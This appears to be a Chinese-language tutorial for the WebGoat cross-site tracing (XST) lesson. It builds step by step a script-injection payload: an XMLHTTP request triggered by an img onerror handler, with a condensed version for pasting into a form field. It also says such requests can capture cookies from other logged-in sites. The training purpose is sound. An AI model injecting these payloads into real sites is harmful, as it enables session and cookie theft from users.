由於對web編程不是很熟悉,謹以此文分享給學習WebGoat但是web編程底子不好的小夥伴。
HTTP的Method中有專爲調試Web Server連接的(TRACE/TRACK),但正式上線運行的WebServer如果支持Trace/Track方式,則一定存在跨站攻擊漏洞。RFC 2616 for HTTP 如下定義 TRACE 方法,“此方法用於調用已請求消息的遠程、應用層回送(loopback)。請求的接收方是源服務器或第一個代理或接收請求中零(0)Max-Forwards 值的網關。”
練習1:(IE 9)
(由於IE7以後open不支持TRACE方法(見參考資料1),此處使用GET方法)
使用ActiveXObject("Microsoft.XMLHTTP")對象,open一個已經登錄的URL(其他網站),GET回來的信息中包含敏感的Cookie等信息,然後這些信息你就可以使用了~
我的練習過程:
1. 創建一個.html文件,填寫一個空的HTML標籤“<html></html>”內容到該文件;
2. 查找ajax相應的基礎知識(ActiveXObject,Microsoft.XMLHTTP,open),拼出來一個JS函數
//獲取百度的響應信息
<SCRIPT
type="text/javascript">
function getbaidu(){
xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttpReq.open("GET", "http://www.baidu.com", false);
xmlHttpReq.send();
alert(xmlHttpReq.status);
}
</SCRIPT>
3. 接下來就是考慮怎麼觸發這個函數了
方式比較多,一種是手工觸發,弄個按鈕或其他控件,點擊一下觸發這個js函數;我採用了自動觸發,借用了img標籤中src屬性自動加載的機制觸發,代碼: <img src="hahah.com" οnerrοr="getbaidu()" width="1" height="1"/>
4. 將這兩部分代碼拼一塊,填寫到html文件中,在IE瀏覽器打開該html文件,調試,直到能正確運行(彈出一個狀態碼)
.html文件中完整代碼示意:
<HTML>
<SCRIPT type="text/javascript">
function xssTRACE(){
xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttpReq.open("GET", "http://www.baidu.com", false);
xmlHttpReq.send();
alert(xmlHttpReq.status);
}
</SCRIPT>
<img src="hahah.com" οnerrοr="xssTRACE()"/>
</HTML>
5. 輸入組合後的信息(去除換行、空格等的短代碼)到webgoat文本框“Enter your three digit access code:”,提交
會自動觸發getbaidu()執行,彈出該請求的返回狀態碼,完成練習。
短代碼:
<SCRIPT type="text/javascript">function xssTRACE(){
xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttpReq.open("GET", "http://www.baidu.com", false);
xmlHttpReq.send(); alert(xmlHttpReq.status);}</SCRIPT><img src="hahah.com" οnerrοr="xssTRACE()" width="1" height="1"/>
參考資料:
1. https://msdn.microsoft.com/library/ms536648(v=vs.85).aspx